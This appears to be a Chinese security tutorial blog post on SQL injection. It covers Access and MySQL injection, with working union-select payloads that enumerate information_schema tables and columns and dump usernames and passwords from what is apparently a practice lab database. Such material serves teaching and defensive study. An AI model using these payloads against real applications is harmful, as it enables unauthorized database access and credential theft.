web安全之sql注入

    技术2026-01-20  10

    文章目录

    SQL注入access注入access数据库类型注入基本流程常见的注入查询 MySQL注入sql注入怎么产生mysql一般注入流程

    SQL注入

    access注入

    access数据库类型

    以.mdb后缀命名可用office打开

    注入基本流程

    判断注入 单引号报错逻辑性 and 1=1 and 1=2变量做运算 - 减号

    常见的注入查询

    联合查询法 and 1=1 and 1=2 ------判断注入order by 22 ------猜有多少列(猜到7列)union select 1,2,3,4,5,6,7 from admin------猜表名并记录回显位(报错说明表不存在,将admin换成别的继续猜)union select 1,2,username,4,5,6,7 from admin ——猜列名 逐字猜解法 and exists (select * from admin)——猜表名and exists (select user_name from admin)——猜列名查数据:1.确定长度 2.确定asc数据(asc编码)and (select top 1 len(user_name ) from admin)=5 user_name 的长度=5,正常则=5,也可以用>,<号去判断)and (select top 1 asc(mid(user_name ,1,1)) from admin)=97 判断第一位(97代表‘a’的ascll值)and (select top 1 asc(mid(user_name ,2,1)) from admin)=97 判断第二位

    MySQL注入

    sql注入怎么产生

    id变量通过get方式获取并且可直接拼接到sql语句中,而id参数用户可控,造成注入

    mysql一般注入流程

    流程:获取字段数-查库名-查表名-查列名-查数据

    获取字段数

    order by x,通过不断修改x,得到其不报错的上限值

    通过order by 查询多少字段order by 3,假设3为临界值

    SELECT * FROM users WHERE id=1 order by 3

    通过union查询数据库名,数据库版本,用户名

    SELECT * FROM users WHERE id=1 union select 1,2,3

    可将1,2,3修改为具体的sql函数

    sql函数:

    ​ database():获取数据库名

    ​ version():获取MySQL版本

    ​ user():获取用户名

    union select version(),database(),user()

    ---------------------------------------------------------------------------------------------------- ID : 1 USERNAME: Dumb PASSWORD: Dumb ---------------------------------------------------------------------------------------------------- ID : 5.5.53 USERNAME: security PASSWORD: root@localhost

    可以看到,sql的版本为5.5.53,数据库为security,用户为root@localhost

    通过union查询数据库中table名

    得到当前数据库名之后就可查询数据库中所包含的表

    union语句:将不同表的两个列查询的数据去重拼接

    information_schema.tables中记录了所有表名信息

    information_schema.columns 记录列名信息

    TABLE_SCHEMA 数据库字段,表所在的数据库的名字

    table_name 表名 column_name 列名

    SELECT * FROM users WHERE id=1 union select 1,2,table_name FROM information_schema.tables where TABLE_SCHEMA=database()

    注:由于之前通过order by得到临界值为3,在查找其他内容是需要把所有的字段都占住,因此1,2不能少

    ---------------------------------------------------------------------------------------------------- ID : 1 USERNAME: Dumb PASSWORD: Dumb ---------------------------------------------------------------------------------------------------- ID : 1 USERNAME: 2 PASSWORD: emails ---------------------------------------------------------------------------------------------------- ID : 1 USERNAME: 2 PASSWORD: referers ---------------------------------------------------------------------------------------------------- ID : 1 USERNAME: 2 PASSWORD: uagents ---------------------------------------------------------------------------------------------------- ID : 1 USERNAME: 2 PASSWORD: users

    可以看到,主要有emails,referers,uagents,users这几个表

    通过union查询表中的列名

    接下来查询users表中有哪些列

    column_name 列名

    union SELECT column_name FROM information_schema.columns where TABLE_name='users'

    ---------------------------------------------------------------------------------------------------- ID : 1 USERNAME: Dumb PASSWORD: Dumb ---------------------------------------------------------------------------------------------------- ID : 1 USERNAME: 2 PASSWORD: id ---------------------------------------------------------------------------------------------------- ID : 1 USERNAME: 2 PASSWORD: username ---------------------------------------------------------------------------------------------------- ID : 1 USERNAME: 2 PASSWORD: password

    可以看到有id,usename,password这几列

    通过列名查询数据

    接下来查询列中具体的数据

    union select 列名 from 库名.表名 # 库名不写也行 union select id,username,password from users

    ---------------------------------------------------------------------------------------------------- ID : 1 USERNAME: Dumb PASSWORD: Dumb ---------------------------------------------------------------------------------------------------- ID : 2 USERNAME: Angelina PASSWORD: I-kill-you ---------------------------------------------------------------------------------------------------- ID : 3 USERNAME: Dummy PASSWORD: p@ssword ---------------------------------------------------------------------------------------------------- ID : 4 USERNAME: secure PASSWORD: crappy ---------------------------------------------------------------------------------------------------- ID : 5 USERNAME: stupid PASSWORD: stupidity ---------------------------------------------------------------------------------------------------- ID : 6 USERNAME: superman PASSWORD: genious ---------------------------------------------------------------------------------------------------- ID : 7 USERNAME: batman PASSWORD: mob!le ---------------------------------------------------------------------------------------------------- ID : 8 USERNAME: admin PASSWORD: admin

    这样就可以看到帐号和密码了

    Processed: 0.030, SQL: 9